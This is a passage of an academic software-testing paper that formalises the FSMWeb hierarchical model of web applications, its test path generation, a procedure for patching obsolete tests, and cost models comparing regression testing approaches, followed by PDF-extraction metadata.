chain of abstraction [7]. The partitioning decomposes a web application into its constituent elements of web pages (page), components (comp), and subsystems (ss). The essential feature to enforce at the time of partitioning is to ensure that elements (i.e. pages, components, and subsystems) are disjoint with respect to one another both in the peer levels and through out the hierarchical levels. Stated differently, there should not exist any replicated nodes (cluster or LWP) in FSMWeb model. The enforcement of disjoint feature at the time of partitioning is a factor in keeping the number of the nodes in a manageable quantity, and consequently leading to FSMWeb scalability. An FSMWeb partitioning is specific to a web environment in contrast to AH-Graphs [7] in which the nodes’ types for a given level of hierarchy are homogenous and the refinement of the graph could go on in an unpredictable manner. B. FSMWeb Properties In this section, we devise a set of FSMWeb properties by restating the preceding sections. The following properties must be observed during FSMWeb’s model construction and maintenance. 1) Graph Type: FSMWeb is a Deterministic Annotated/predicated Directed Graph (DADG). Annotations/predicates on edges describe a set of constraints for the transitions. 2) Model Boundaries: The starting page $W_s$ and the terminating page $W_e$ demarcate the model boundaries. $W_s$ and $W_e$ may be represented by physical web pages or could be dummy nodes [1]. $W_s$ may have in/out edges while $W_e$ has only in edges. A full test path is defined as sequence of one or many edge-node-edge, bounded by $W_s$ and $W_e$. 3) Reachability: Except for the $W_s$ and $W_e$, all other nodes must be reachable from $W_s$ and must ultimately lead to $W_e$ (i.e. FSMWeb cannot contain disconnected subgraphs/orphan nodes). 4) FSMWeb’s Contingent Node-Existence Relationship: Since the successive decomposition of FSMWeb, except the $W_s$ and $W_e$, must be entirely comprised of LWPs and edges (transitions), hence, the presence of a LWP in a thread of hierarchy implies the potential existence of subsystem(s) and/or component(s), i.e. the existence of a subsystem and/or component is contingent upon the eventual presence of a LWP in a thread of hierarchy. Otherwise, their presence are not allowed. Further, roles of subsystems and components for a given thread of a hierarchy are interchangeable based on semantic of the software application under study. The items 4a, 4b, and 4c are the formalization of the FSMWeb’s contingent node-existence relationships and are summarized in Table I. The following relations exist among the subsystems, components, and LWPs in FSMWeb: a) The presence of subsystems (ss)/components (c) implies that subsystems/components lead to one or more LWPs (page). Otherwise, subsystems/components cannot exist. $$\forall ss \in (f) = \emptyset \lor (\forall ss \in \text{comp}(ss) \cap \text{ss}) \neq \emptyset \mid (\forall page, (c_i) = \emptyset)$$ where ss, c, and page are instances of subsystems, components, and web pages (LWPs), respectively. b) Components cannot exist without their corresponding subsystems (components do not have intrinsic value of their own. Their existence is to facilitate creation of layer(s) of indirection when a subsystem needs to be further decomposed due to its level of complexity). $$\forall c_i \in \text{comp}(ss) \neq \emptyset \lor (\forall page, (c_i) \neq \emptyset)$$ c) Presence of a subsystem implies existence of one or more LWPs irrespective of component’s existence. $$\forall ss \in (f) \neq \emptyset \lor (\forall page, (c_i) = \emptyset)$$ In Table I, the designation of zero and one under the columns, ss, c, and page, represent absence or presence of subsystems, components, and pages considering their inter-dependent relationships. <table> <thead> <tr> <th>Row #</th> <th>ss</th> <th>c</th> <th>LWP</th> <th>Result</th> <th>Explanation</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>0</td> <td>0</td> <td>0</td> <td>Allowed</td> <td>An empty hierarchical path (null case)</td> </tr> <tr> <td>2</td> <td>0</td> <td>0</td> <td>1</td> <td>Allowed</td> <td>A single function</td> </tr> <tr> <td>3</td> <td>0</td> <td>1</td> <td>0</td> <td>Not Allowed</td> <td>A clustered node must terminate to a LWP node</td> </tr> <tr> <td>4</td> <td>0</td> <td>1</td> <td>1</td> <td>Allowed</td> <td>Roles of components and subsystems are interchangeable</td> </tr> <tr> <td>5</td> <td>1</td> <td>0</td> <td>0</td> <td>Not Allowed</td> <td>A Subsystem can not exist without its constituent LWPs</td> </tr> <tr> <td>6</td> <td>1</td> <td>0</td> <td>1</td> <td>Allowed</td> <td>Roles of components and subsystems are interchangeable</td> </tr> <tr> <td>7</td> <td>1</td> <td>1</td> <td>0</td> <td>Not Allowed</td> <td>clustered nodes must terminate to a LWP node</td> </tr> <tr> <td>8</td> <td>1</td> <td>1</td> <td>1</td> <td>Allowed</td> <td>All levels exist</td> </tr> </tbody> </table> 5) Heterogeneity in Hierarchical Levels: The entities (subsystems, components, LWPs) may co-exist alongside of the other entities at the same hierarchical level. Entities at the same hierarchical level may navigate to the other entities at the same or different hierarchical levels. 6) Coupling: Given the two states $S_i$, and $S_j$ (i ≠ j) , we say $S_i$ is the predecessor node, if $S_i$ occurs before $S_j$ with respect to $W_x$ for a given full test path. In this case, $S_j$ is the successor node in relation to $S_i$ with respect to $W_s$ in a full test path. We say $S_j$ is coupled to $S_i$ if changes in $S_i$ affect state of $S_j$ (Ammann et al. [6] uses the term dominant to refer to predecessor node, when coupling is involved). FSMWeb must be constructed in such a way (considering the application’s semantics) in order for the dependent nodes to follow the node on which they depend. Modifications to predecessor node(s) may affect the succeeding node(s). 7) **Classification of Edges**: Similar to [7], the edges are classified into 1) external and 2) internal. An edge connecting a pair of LWP nodes is considered an internal edge. Otherwise, the edge is said to be external. 8) **Single Entry/Single Exit (SESE)**: All transitions (edges) among nodes are represented through a single edge (entering or exiting to and from nodes). The Single Entry/Single Exit (SESE) [6] edges serve to keep FSMWeb model in a simpler graphical representation as opposed to multiple-edge connection among nodes (see Fig. 2(b)). The $n_{DI}$ and $n_{DO}$ represent dummy in and dummy out nodes, respectively. $n_{DI}$, and $n_{DO}$ could be viewed as mechanisms through which a single incoming edge expands into one or many edges upon entering into a cluster node and subsequently collapse to multiple edges into a single edge upon exiting the cluster node. The annotation of external edges with exclusive OR symbol ($\oplus$), indicates that the single edge (in or out) incident on a cluster node maps to one and only one edge within the cluster node. The use of exclusive OR as an edge-subscript is strictly for simpler graphical representation purposes to enforce SESE property - the actual selection of a single edge from many choices of edges occurs within the action (act) parameter of the annotated edge. **IV. Test Generation in FSMWeb** Generally, the process of test generation starts with selecting one or many test coverage criterion/criteria ($crit$) that fulfill a set of test requirements ($TR$). The individual test requirements ($tr \in TR$) may or may not utilize the same test coverage criterion [6]. Nonetheless, the test coverage criterion must fulfill the given test requirement (the reverse holds true as well: a test requirement is realized through proper selection of a test criterion) in order to be feasible; Otherwise, it is infeasible. i.e. The selection of improper coverage criterion for a test requirement leads to infeasibility. In this paper, we assume that coverage criteria are properly selected for their respective test requirements. In [6] there is a listing of coverage criteria and subsumption relationships. In this paper, we avoid test coverage criteria that involve use of value (e.g. definition-use pairs, etc.) since the focus of this work are abstract test cases. **A. Formalizing FSMWeb Test Generation** A test case is a set of inputs corresponding (through test case execution) to a set of expected (test oracle) outputs. In FSMWeb, the shortest test path is identified by a current state \( s_i \), an \textit{out} edge from \( s_i \) (\( e_i \)), and the next state \( s_{i+1} \). Longer test paths are realized through cascading: assuming that \( s_{i+1} \) is the new current state, \( e_{i+1} \) is the new \textit{out} edge, and \( n_{i+2} \) is the next new state, etc. A test path bounded by \( W_s \) and \( W_e \), is a \textit{full} test path and contains only LWPs connected by internal edges; otherwise, it is a \textit{partial} test path. In this paper, the goal is to produce a test suite comprised of all full test paths. In FSMWeb there are two somewhat similar methods in which test cases could be generated. However, both of the methods result to the generation of identical suite of test cases. The first method, starts at the most refined level of FSMWeb (i.e. where there are only LWPs and connecting (internal) edges) and generates partial test paths bounded by \( n_{DI} \) and \( n_{DO} \) nodes. The number of partial test paths depend on both the direction of edges and the coverage criterion (we are considering edge coverage in this paper). The next step is to consider the more abstract node (moving toward more abstract levels) and \textit{prepend} node(s) and edge(s) on the \( n_{DI} \) side to the partial paths and \textit{append} node(s) and edge(s) on the \( n_{DO} \) side to the partial paths, etc. This process terminates when the prepending/appending actions encounter \( W_s \), \( W_e \) nodes. The first method could be viewed as full path test generation \textit{from inside out}. The second method considers the \textit{outside in} approach where the test paths are initially bounded by \( W_s \) and \( W_e \) but contain at least one cluster node. By successively expanding the cluster nodes and prepending/appending the partial test paths, the full test paths are generated. In this section, we formalize the test generation (TG) outlined in [1] by incorporating the selection of coverage criteria \( (\text{crit}) \) and partial path aggregation \( (\text{agg}) \) parameters into the model’s data structure (equation 1). Partial paths are the test paths that are not bounded by \( W_s \) and \( W_e \) nodes. The aggregation is the consolidation of the partial paths (through appending and/or prepending) the nodes in such a way to elongate the test paths. A full test path is a test path that is bounded by \( W_s \) and \( W_e \) nodes, contains only LWPS, and connected by edges. Now, we formalize TG as a \textit{test generation function} where TG: \( \text{HFSM} \times \{\text{crit}_i, \text{agg}_i\}^{n=0} \rightarrow \text{TC} \), where \( I \) represents the various levels of abstractions, and TC is a set of test cases. Substituting equation 1 into the aforementioned test generation function (TG), we obtain \[ TG: \{M_i, \text{crit}_i, \text{agg}_i\}^{n=0} \rightarrow \text{TC} \quad (2) \] Note: equation 2 has ignored the test value selection step outlined in [1] since the focus of this work involves abstract test cases. It is possible to apply different coverage criteria in the different levels of hierarchy for the same hierarchical thread of FSMWeb. However, use of the coverage criteria belonging to the same subsumption coverage hierarchy [6] in the same thread of the model’s hierarchy may produce the same set of partial test paths (and perhaps the same set of test cases). We call this side effect \textit{coverage masking} where the choice of a particular coverage criterion may be masked by another coverage criterion under certain conditions due to hierarchical nature of FSMWeb. For example, when edge coverage criterion and edge-pair coverage criterion (both belonging to the same level of subsumption coverage hierarchy [6]) are applied in the same thread of hierarchy, they may produce the same test case (the same test path) depending on the specific order of abstraction levels in which they are applied. Test case generation could be done manually or could be automated using the external edges and \( n_{DI} \) and \( n_{DO} \) nodes. \section*{B. Test Case Generation Example} Using Fig. 3, we illustrate the process of test case generation in FSMWeb using the first method. The aforementioned figures depict the \( n_i \) cluster node \textit{before}, and \textit{after} expansion. Since \( n_i \) node after expansion only contains LWPs and edges, we create the partial paths for \( n_i \) cluster node. We choose the edge coverage as a coverage criterion of choice for this example. 1) partial-path 1: \( n_{DI}, e_1, n_1, e_4, n_4, e_6, n_{DO} \) 2) partial-path 2: \( n_{DI}, e_2, n_5, e_5, n_{DO} \) 3) partial-path 3: \( n_{DI}, e_1, n_3, e_7, n_5, e_5, n_{DO} \) The next step is to aggregate \( n_1 \), and \( n_2 \) (by replacing \( n_{DI} \) and \( n_{DO} \) with \( n_1 \) and \( n_2 \), respectively) with partial-path 1 through partial-path 3, to obtain new partial-path 1A through partial-path 1C. 1) partial-path 1A: \( n_1, e_1, n_3, e_4, n_4, e_6, n_2 \) 2) partial-path 1B: \( n_1, e_2, n_5, e_5, n_2 \) 3) partial-path 1C: \( n_1, e_1, n_3, e_7, n_5, e_5, n_2 \) The last step is to aggregate (by prepending \( W_s \) followed by \( e_s \), and appending \( e_e \) followed by appending \( W_e \) to partial-path 1A through partial-path 1C, to obtain test paths TC1 through TC3 as follows: 1) TC1: \( W_s, e_s, n_1, e_1, n_3, e_4, n_4, e_6, n_2, e_e, W_e \) 2) TC2: \( W_s, e_s, n_1, e_2, n_5, e_5, n_2, e_e, W_e \) 3) TC3: \( W_s, e_s, n_1, e_1, n_3, e_7, n_5, e_5, n_2, e_e, W_e \) , where e_o and e_r are outgoing, and incoming edges from/to W_o and W_r, respectively. W_o, W_r, e_o, and e_r are not shown in Fig. 2a and Fig. 2b for the purpose of brevity. V. REGRESSION TESTING USING CLASSIFICATION The test case classification approach introduced by Andrews et al. [5] uses a general regression testing framework [8]. We formalize types of changes to the FSMWeb models based on changes to the web application (its inputs, Logical Web Pages - LWPs, and navigation between them). We adopt the approach in [9] to classify tests into reusable, retestable, and obsolete tests by specifying rules for classification based on the types of changes to the model. In this context, the regression testing problem for the FSMWeb model becomes the following: Given a FSMWeb model, HFSM, a test set T (used to test HFSM) and a modified version of HFSM, HFSM', find a way of making use of T, to gain sufficient confidence in the correctness of the application modeled by HFSM'. Similar to [8], we propose the following steps as an outline of our approach to solve this problem: 1) Identify and classify changes made to HFSM that result in HFSM'. Specify the effect of each type of change on tests t ∈ T. Using these rules, classify tests in T into mutually exclusive sets of test cases: obsolete (O_T), retestable (R_T), and reusable (U_T). 2) Use the results of step 1 to select a set of retestable test cases T' ⊆ R_T that may reveal change-related faults in HFSM'. 3) Use T' to test HFSM'. 4) Determine if any parts of the system have not been tested adequately and generate a new set of tests T''. 5) Test the web application with T''. Generally speaking, the two types of changes are node changes and edge changes. After these changes have been identified, they need to be classified as to their impact on existing test cases. Further, these changes could be path affecting changes (PAC) or non-path affecting (NPC) changes. This determines whether tests are obsolete, retestable, or reusable. The test paths that visit deleted or modified nodes and/or tour the deleted or modified edges become obsolete. The test paths that have node(s) or edge(s) added and are PAC become obsolete (o). The test paths that have node(s) or edge(s) added and are NPC become retestable (r). The test cases that are not obsolete nor retestable are reusable (u). The interested reader should consult section 4 in [5] for test case classification details. Table II is a summary of the aforementioned discussion. VI. TEST CASE PATCHING In most regression testing approaches [3], [32], [33], the test cases affected by changes (whether major or minor) are regenerated. However, the test cases affected by changes could be repaired [24] rather than performing a full test case regeneration. This paper refers to repairing as test case patching. Patching requires test case classification [5] as a vital step in improving testing costs. Patching becomes favorable when only minor changes are needed for a large amount of obsolete test cases. The term, minor is context sensitive with respect to the nature of a change. For example, a change involving variable name modification affecting many test cases is considered minor (since fixing entails replacing all the previous variable names with the new variable names) whereas a variable used for computations or for logical considerations (e.g. branching to different pieces of code, etc.) is not considered to be a minor change because the rest of the test path may be affected as a result of the change. Patching may lead to cost saving depending on nature of the change and the number of affected test cases. The following section enumerates patching rules as a set of guidelines when patching may or may not lead to cost savings. A. Rules of Patching The followings are rules of thumb when patching is favorable versus full test case regeneration: 1) When the change is a non-path affecting change (NPC). 2) When there are a small number of changes. small could be defined as a ratio of the number of changes over the number of test cases and compared against a desired threshold. 3) When the changes are local (versus design changes that may affect many test cases, many elements per test case, and/or cross cluster node boundaries). 4) When the changes do not affect the test path length (i.e. some changes may enlarge or shorten test path lengths). The followings are rules of thumb when patching is NOT favorable versus full test case regeneration: 1) When the change is a path affecting change (PAC). a) PAC occurs towards the beginning of the test path (making most of the test path unusable). b) The change affects a shared element across many test cases. The change propagates (RIP: Reachability, Infections, and Propagation [6]) to other test cases as well. <table> <thead> <tr> <th>NODE</th> <th>PAC</th> <th>NPC</th> </tr> </thead> <tbody> <tr> <td>ADD</td> <td>o</td> <td>o</td> </tr> <tr> <td>DEL</td> <td>o</td> <td>o</td> </tr> <tr> <td>MOD</td> <td>o</td> <td>o</td> </tr> </tbody> </table> <table> <thead> <tr> <th>EDGE</th> <th>PAC</th> <th>NPC</th> </tr> </thead> <tbody> <tr> <td>ADD</td> <td>o</td> <td>o</td> </tr> <tr> <td>DEL</td> <td>o</td> <td>o</td> </tr> <tr> <td>MOD</td> <td>o</td> <td>o</td> </tr> </tbody> </table> c) When the changes involve design or high-level requirement changes (e.g. use case). B. Patching Procedure The following is the procedural (algorithmic) approach to patching for a given set of obsolete test cases. Patching does not apply to obsolete test cases that are no longer valid due to high level requirement changes: 1) When the change (adding, deleting, modifying) involves an edge or a LWP node: a) Identify the affected test case corresponding to the change, and locate the change (e.g. the affected edge). b) Determine whether the change is PAC or NPC. c) If PAC, generate a new partial path starting from the affected element (edge or LWP node) to the end of the test path replacing the affected partial path. This applies to longer test path lengths. For short path lengths test case regeneration is more appropriate. d) If NPC, replace the affected element (edge or LWP node) in the test path with a newly generated element. 2) The cases involving multiple edges or LWP nodes of type NPC follow the handling of multiple cases of single edge/LWP nodes with NPC-type changes. 3) In the cases involving multiple changes to a single test case of mixed NPC and PAC types, the first PAC change closest to the beginning of the test path dominates the subsequent changes (whether PAC or NPC). 4) When the change involves conversion of a LWP node to a cluster node: a) Replace the LWP node with a newly created cluster node with corresponding Single Entry (nc), and Single Exit (nc) nodes. b) Create partial paths and aggregate them with the test paths that tour the newly created partial paths (See section IV-B). 5) When the change involves the conversion of a cluster node to a LWP node: a) For all the paths pt that are members of the abstract test case (pt ∈ AT), replace the LWP to be node-changed (LWPnc) with the new cluster node (CL). Assuming that the external edges of CL are represented by e_x1,...,e_xn then b) For all the paths that belong to tc that tours e_xi (i=1,...,m), replace partial path e_xi,...,e_xj with LWPnc before path aggregation. Then, ∀ pt ∈ AT, pt tours e_xi, (i=1,...,m) replace partial path e_x1,...,e_xj with LWPnc. VII. COST AND TRADE OFFS In the context of this paper, cost is the mechanism for comparing different regression testing approaches in order to select the most favorable approach (reduced cost). Additionally, cost refers to required resources. These resources may include analysis, set up, generation/regeneration, execution, etc. Our work is more focused in several respects: 1) it concentrates on costs associated with obsolete test cases (the identification, execution, and regeneration), and the use of a patching approach for the further cost reduction of obsolete test cases, 2) it considers only black-box testing/regression testing approaches, and 3) it only considers typical web applications (web applications such as Ajax with specially-crafted user interfaces are not considered). A. FSMWeb Regression Testing Cost Model To construct a cost model for regression testing approaches, we start by constructing cost models for selective retesting using classification, patching, retest-all, and brute force regression testing approaches followed by selecting the parameters that influence the cost for a given approach subject to certain assumptions. Next, we analyze (compare) the costs incurred in patching versus retest-all, and brute force approaches. Arithmetically, the comparison between two different regression testing approaches amounts to subtracting the cost of one approach from the other approach, simplifying - when identical parameters exist, and checking whether inequality holds. Trade offs are considered in the post cost-analysis phase of the process in order to determine the most favorable cost. Similar to [9], [18], [19], we start by constructing cost models for selective retesting using classification, patching, retest-all, and brute force regression testing approaches followed by selecting the parameters that influence the cost for a given approach subject to certain assumptions. Next, we analyze (compare) the costs incurred in patching versus retest-all, and brute force approaches. The high level cost-related parameters associated with Retest-all Regression Testing are: 1) Generation of all test cases (gen). 2) Execution of all the test cases (exec). The high level cost-related parameters associated with Brute-Force Regression Testing are: 1) Execution of existing test cases (exec_T) 2) Validation of existing test cases (val_T) 3) Generation (potentially) of brand new test cases (gen_T). At high level, Table III summarizes the costs for each category of regression testing. C_{SR-C}, C_{RA}, and C_{BF} represent costs for selective retesting using classification, retest-all, and brute force, respectively. **TABLE III: Different Cost Categories and Associated Parameters in Regression Testing** <table> <thead> <tr> <th>Types of Regression Testing</th> <th>Costs</th> </tr> </thead> <tbody> <tr> <td>Selective retesting using classification</td> <td>C_{SR-C} = class_T + exec_T + gen_T + exec_T′</td> </tr> <tr> <td>Retest-all</td> <td>C_{RA} = gen + exec</td> </tr> <tr> <td>Brute-Force</td> <td>C_{BF} = exec_T + val_T + gen_T + exec_T′</td> </tr> </tbody> </table> **B. Cost Computation using a Classification and Patching Approaches** We compute the cost of selective retesting using classification approach (C_{SR-C}) with respect to obsolete test cases. First, the test cases (T) are classified into 3 distinct (non-overlapping) set of test cases of, obsolete (O_{SR-C}), retestable (R_{SR-C}), and reusable (U_{SR-C}). Second, by executing the retestable test cases, a portion of test cases pass and become reusable (U_{R-SR-C} - implying they are reusable and must be added to the pool of the reusable test cases) and the other portion of test cases fails and become obsolete (O_{R-SR-C} - implying they are obsolete and must be added to the pool of the obsolete test cases). Third, by analyzing the newly formed pool of the obsolete test cases (O_{R-SR-C} + O_{SR-C}), we determine whether the obsolescence is due to elimination of application functionality(ies). If the functionality(ies) still exist, then, replacement test cases are generated in order to maintain the existing functionality(ies) (O_{rep-SR-C}). Otherwise, the old functionality(ies) no longer exist and there is no need for generation of test cases (skip test case generation - O_{skip-SR-C}). Last, the generated replacement test cases are added to pool of the reusable test cases (U_{SR-C} + U_{R-SR-C}) and further combined with new test cases (O_{new-SR-C}) for new functionality(ies). The only difference between patching the test cases and the classification approaches is in the analysis of the combined obsolete test cases (O_{R-SR-C} + O_{SR-C}). In the patching approach, instead of generating test cases for replacement purposes, the existing (obsolete) test cases are analyzed and portion of them are patched (repaired). Figure 5 is the depiction of the foregoing elaboration and shows the patching work using dash-line format. \[ C_{SR-C} = C_{class} + (C_{exec} \times R_{SR-C}) + \\ C_{an} \times (O_{R-SR-C} + O_{SR-C}) + \\ (C_{gen} \times O_{rep-SR-C}) + C_{new-SR-C} \] (3) \[ C_{patch} = C_{class} + (C_{exec} \times R_{SR-C}) + \\ C_{an} \times (O_{R-SR-C} + O_{SR-C}) + \\ (C_{patch} \times O_{rep-SR-C}) + C_{new-SR-C} \] (4) C_{class}, C_{exec}, C_{an}, C_{gen}, and C_{patch} represent costs of test case classification, execution, analysis, generation, and patching, respectively. The comparison of the cost of selective regression testing using classification (equation 3) and cost of regression testing using patching (equation 4) reveals that the theoretical difference between the two approaches is in the 4th terms. This point emphasizes that the patching approach requires some of the steps in the classification approach. **C. Cost Computation using a Retest-all Approach** The computation of the cost for the retest-all approach follows the same methodology as outlined in the section VII-B. First, execute the test cases (T) resulting to some test cases passing and becoming reusable (U_{RA}), and some other test cases failing and becoming obsolete (O_{RA}). Second, analyze the obsolete test cases (O_{RA}) to determine whether the obsolescence is due to elimination of application functionality(ies). If the functionality(ies) still exist, then, replacement test cases need to be generated maintaining the existing functionality(ies) (O_{rep-RA}). Otherwise, the old functionality(ies) no longer exist and there is no need for generation of test cases (skip test case generation - O_{skip-RA}). Last, the newly generated (replacement) test cases need to be combined with the reusable test cases (U_{RA}). \[ C_{RA} = (C_{exec} \times T) + (C_{an} \times O_{RA}) + (C_{gen} \times O_{rep-RA}) \] (5) One of the differences between equations 5, and equation 3 and/or equation 4 is that equation 5 does not have a cost representation for new test cases. This is due to the way retest-all approach operates in which the cost of generation of the new test cases is absorbed in the cost of analysis and generation for the replacement of the test cases. **D. Cost Computation using a Brute Force Approach** In the brute force regression testing approach, each and every test case needs to be executed (exec) and validated (val). If the validation fails, then a new test case must be generated (gen), re-executed, and re-validated. Depending on test case length and number of changes present in a particular test case a test case may go through one or many generate-execute-validate cycles until the test case pass. We designate, $K$, as a required number of cycles for a given test case before it pass. For practical purposes, $K$ could be a configurable parameter with a maximum value over which the brute force may be deemed as an unsuitable regression testing approach for a given test case before it pass. For practical purposes, $K$ could be a configurable parameter with a maximum value over which the brute force may be deemed as an unsuitable regression testing approach for a given test case before it pass. ![Fig. 6: Regression Testing using Retest-all](image) ![Fig. 7: Regression Testing using Brute Force](image) The brute force approach costs more than retest-all approach since brute force approach operations involves all the test cases versus retest-all operations that involves a subset of test cases ($n > O_{rep-RA}$) and on average there are more iterations through generate-execute-validate sequence ($K > 1$). Therefore, inequality 8 holds. 1) **BruteForce and Retest-all Cost Comparison:** In order to compare the cost of a brute force approach against a retest-all approach, we check the validity of the inequality 7: $$C_{BF} - C_{RA} > 0$$ \hspace{1cm} (7) Substituting the equations 6 and 5 in inequality 7, we obtain the inequality 8 $$\sum_{i=1}^{n} [(C_{exec} + C_{val}) + \sum_{j=0}^{K} (C_{gen} + C_{exec} + C_{val})]_i - \sum_{i=1}^{n} [(C_{exec} * T) + (C_{an} * O_{RA}) + (C_{gen} * O_{rep-RA})] > 0$$ \hspace{1cm} (8) 2) **Retest-all and Classification Cost Comparison:** We follow the same approach for costs comparison as section VII-E1: $$C_{RA} - C_{SR,C} > 0$$ \hspace{1cm} (9) We substitute the equations 3 and 5 in inequality 9 and simplify to obtain the inequality 10 $$[(C_{exec} * T) + (C_{an} * O_{RA}) + (C_{gen} * O_{rep-RA})] - [C_{class} + (C_{exec} * R_{SR,C}) + C_{an} * (O_{R-SR,C} + O_{SR,C}) + (C_{gen} * O_{rep-SR,C}) + C_{new-SR,C}] > 0$$ \hspace{1cm} (10) As mentioned in “Cost Comparison” sub-section (VII-E), the cost of replacing (by generating test cases) the obsolete test cases (maintaining the existing functionalities) is greater than the combined cost of replacing the test cases in selective retesting and generation of new test cases \(((C_{gen} * O_{rep-R}) > [(C_{gen} * O_{rep-S}) + C_{new SR}])\) for minor changes (\(C_{gen} * O_{rep-R}\) dominates the other terms). This implies that the inequality 9 (and subsequently inequality 10) holds. 3) Patching and Classification Cost Comparison: In the sections VII-E1, and VII-E2, we assumed that the dominating cost factor is the cost of test generation for replacing (maintaining the existing functionalities) obsolete test cases. This is because test generation in FSMWeb involves models (\(M_l\)), coverage criteria (\(crit_l\)), and the aggregation of test subpaths (\(agg\)) in different hierarchical levels (see equation 2). A change to a test case may be path affecting (PAC) implying that the patching and regeneration cost is nearly the same \((C_{patch} \approx C_{gen})\). However, for non-path affecting changes (NPC) the cost of patching would be less in comparison to full test case regeneration. The assumption is that the number of node or edge changes in non-path affecting change (NPC) is lower than the number of nodes and edges for a given test path (corresponding to a test case). This leads to the conclusion that based on the assumptions (in section VII-E), \(C_{gen} > C_{patch}\). Based on this analysis, the conclusion is that the brute force, and the retest-all regression testing approaches yield higher costs among the four approaches under comparisons when there are minor changes. This result is also intuitive since brute force, and retest-all involves processing of all the test cases and both approaches incur the overhead cost that could be avoided with analysis (e.g. classification). Further, the cost of patching approach is less than the cost of selective retesting using classification approach given that changes are NPC for test paths of considerable number of nodes and edges. VIII. AN EXPERIMENT RESULTS This section discusses the results of a run of a scaled-down Medical Emergency Response (MER) web application with minor versioning. MER is comprised of three use cases (subsystem clusters) of: 1) On-site Care, 2) Emergency Department, and 3) Application Administration. An authorized user must login (through a LWP) before having access to MER’s features. Using the test generation in section IV, we decomposed MER into nodes and internal edges and produced 24 test cases (test paths) of which 2 test cases were redundant. We made 5 minor changes to existing requirements (versioning MER) and added a new LWP (previously non-existing). Employing classification using selective regression testing approach, 8 test cases became obsolete, and 14 test cases were identified as reusable. There were no retestable test cases since we assumed the changes were all of NPC types. Further, 2 new test cases were produced due to the new change. Using patching, we repaired (patched) 3 test cases in contrast to regeneration of 8 test cases for replacing the obsolete test cases. In this experiment, patching proved to be the favorable (least costly) regression testing approach. IX. CONCLUSION AND FUTURE WORK The goal of this paper was to perform cost analysis and trade offs in comparing cost of four different regression testing approaches. However, some missing works had to be done before proceeding with the cost analysis work (see section I). However, the prerequisite in achieving this goal entailed the formalization the FSMWeb test model followed by the test generation process. Next, was to create cost models for different categories of regression testing approaches. It was determined that the most favorable approach was patching by considering it’s corresponding cost subject to certain assumptions and trade offs. Overall, performing an accurate comparisons among the different regression testing approaches and applying an appropriate trade off analysis is a difficult task. The existence of many types of costs and the inter-relation between cost and value is further compounded by many additional validity constraints swaying the future research toward multi-objective regression test optimization [34]. In the context of this paper, it is due to the fact that web application changes are not controllable, at least from the perspective of the testing system or methodology. Dynamic dependencies among the web application changes may have a compounding impact on test cases when performing regression testing. With this said, the patching approach shows promise when there are few and/or minor changes with respect to number of test cases in the test suite. The future work will extend the FSMWeb test model to include failure and error recovery features in order to represent a real-life web application. X. ACKNOWLEDGEMENT The author wishes to thank Dr. Anneliese A. Andrews for insights (Figure 4), and suggestions. Similarly, the author is grateful to Dr. Kenneth M. Hopkinson for encouraging comments, insights, and suggestions in embellishing this article. The author is also grateful to the anonymous referees for their valuable comments and suggestions to improve the presentation of this paper. REFERENCES
{"Source-Url": "http://www.jsoftware.us/vol9/jsw0907-13.pdf", "len_cl100k_base": 12440, "olmocr-version": "0.1.50", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 48596, "total-output-tokens": 15052, "length": "2e13", "weborganizer": {"__label__adult": 0.00031113624572753906, "__label__art_design": 0.0003895759582519531, "__label__crime_law": 0.0002536773681640625, "__label__education_jobs": 0.0010766983032226562, "__label__entertainment": 7.11679458618164e-05, "__label__fashion_beauty": 0.000164031982421875, "__label__finance_business": 0.00035119056701660156, "__label__food_dining": 0.0002541542053222656, "__label__games": 0.0007333755493164062, "__label__hardware": 0.000728607177734375, "__label__health": 0.0004045963287353515, "__label__history": 0.0002310276031494141, "__label__home_hobbies": 8.32676887512207e-05, "__label__industrial": 0.00027632713317871094, "__label__literature": 0.0003693103790283203, "__label__politics": 0.0001735687255859375, "__label__religion": 0.0002884864807128906, "__label__science_tech": 0.0228271484375, "__label__social_life": 7.516145706176758e-05, "__label__software": 0.01094818115234375, "__label__software_dev": 0.95947265625, "__label__sports_fitness": 0.0002288818359375, "__label__transportation": 0.0003314018249511719, "__label__travel": 0.00016748905181884766}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 58713, 0.02695]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 58713, 0.36007]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 58713, 0.87011]], "google_gemma-3-12b-it_contains_pii": [[0, 5136, false], [5136, 10281, null], [10281, 16129, null], [16129, 21495, null], [21495, 24564, null], [24564, 30157, null], [30157, 35216, null], [35216, 39434, null], [39434, 44101, null], [44101, 47003, null], [47003, 53197, null], [53197, 58713, null]], "google_gemma-3-12b-it_is_public_document": [[0, 5136, true], [5136, 10281, null], [10281, 16129, null], [16129, 21495, null], [21495, 24564, null], [24564, 30157, null], [30157, 35216, null], [35216, 39434, null], [39434, 44101, null], [44101, 47003, null], [47003, 53197, null], [53197, 58713, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 58713, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 58713, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 58713, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 58713, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 58713, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 58713, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 58713, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 58713, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 58713, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 58713, null]], "pdf_page_numbers": [[0, 5136, 1], [5136, 10281, 2], [10281, 16129, 3], [16129, 21495, 4], [21495, 24564, 5], [24564, 30157, 6], [30157, 35216, 7], [35216, 39434, 8], [39434, 44101, 9], [44101, 47003, 10], [47003, 53197, 11], [53197, 58713, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 58713, 0.10823]]}
olmocr_science_pdfs
